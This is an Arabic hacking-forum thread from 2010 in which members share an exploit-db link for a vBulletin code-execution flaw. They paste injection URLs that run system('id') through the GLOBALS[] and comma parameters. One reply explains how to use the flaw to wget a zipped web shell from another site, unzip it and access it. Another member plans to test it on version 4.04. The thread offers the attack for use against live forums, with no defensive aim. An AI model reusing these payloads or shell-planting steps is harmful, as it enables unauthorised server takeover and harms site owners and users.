الحققققق ثغرة جديده بمنتديات vb

حربي هكر · 08-19-2010, 01:36 PM

السلام عليكم .. اعضاء العناكب .. من خلال تصحفي بموقع الاكسبلويت

حصل ثغرة .. شكلي اول مافتحت على الموقع توه منزله ثغرة مصابه فيها منتديات vb

لاتفوووتكم . ألثغرة الحقوووووا .. عليها هذا رابط الثغرررررة

http://www.exploit-db.com/exploits/14686/

GuEvArA511 · 08-19-2010, 01:59 PM

مشكور ثغرة من جد طازة

بس نبي شرح كيف تستغلالها لاهنت

اذا تعرف ولا اي واحد من الشباب يشرحها لنا

هذي هي استغلالاتها لكن مافهمت شي

كود PHP:


			
http://DNSname.com/patch/clientscript/vbulletin-core.js?v=

 

http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value)

 

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=

 

http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

 

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart

dz-fox · 08-19-2010, 07:25 PM

اقتباس

المشاركة الأصلية كتبت بواسطة GuEvArA511


	مشكور ثغرة من جد طازة بس نبي شرح كيف تستغلالها لاهنت اذا تعرف ولا اي واحد من الشباب يشرحها لنا هذي هي استغلالاتها لكن مافهمت شي كود PHP: `http://DNSname.com/patch/clientscript/vbulletin-core.js?v= http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value) http://DNSname.com/vb/forumdisplay.php?GLOBALS[]= http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')." http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart`

عزيزي هذه تغرة Code Execution يعني تقدر تطبق أوامر التي تستعملها في الشل في رابط الموقع مباشرة

يعني مثلا http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

بهذا سيظهر لك في الموقع صلاحياتك على السيرفر لأننا ادرجنا الأمر id

افضل الطرق انك تسحب شل من موقع آخر برابط مباشر بصيغة zip (مضغوط) بالأمر wget

و تفك الضغط الضغط بالأمر unzip و تدخل على الشل و smilies12

ارساوي · 08-19-2010, 10:43 PM

يعطيك العافية

المخترق الصغير · 04-10-2011, 02:14 PM

مشكور اخي الثغرة في الاصدار 4.04 نجرب و نعود ان كانت فعالة ام لا...شكرا لك

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
ثغرة جديده من هكر عرعر	ViRuS Qalaa	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	7	07-22-2010 05:40 PM
[ خبـر ] : ثغرة جديده في هاك vBulletin Radio and TV Player	xman2	قســم تطويــر المــــواقع	0	06-24-2009 04:30 PM
[Template] : postbit_legacy الخاص بمنتديات عالم الحب اروع ما يكون للنسخ 3.8 فما فوق	xman2	قســم تطويــر المــــواقع	0	06-03-2009 07:31 PM
[Template] : قالب postbit_legacy الخاص بمنتديات دردشه لجميع النسخ	xman2	قســم تطويــر المــــواقع	0	05-01-2009 09:02 PM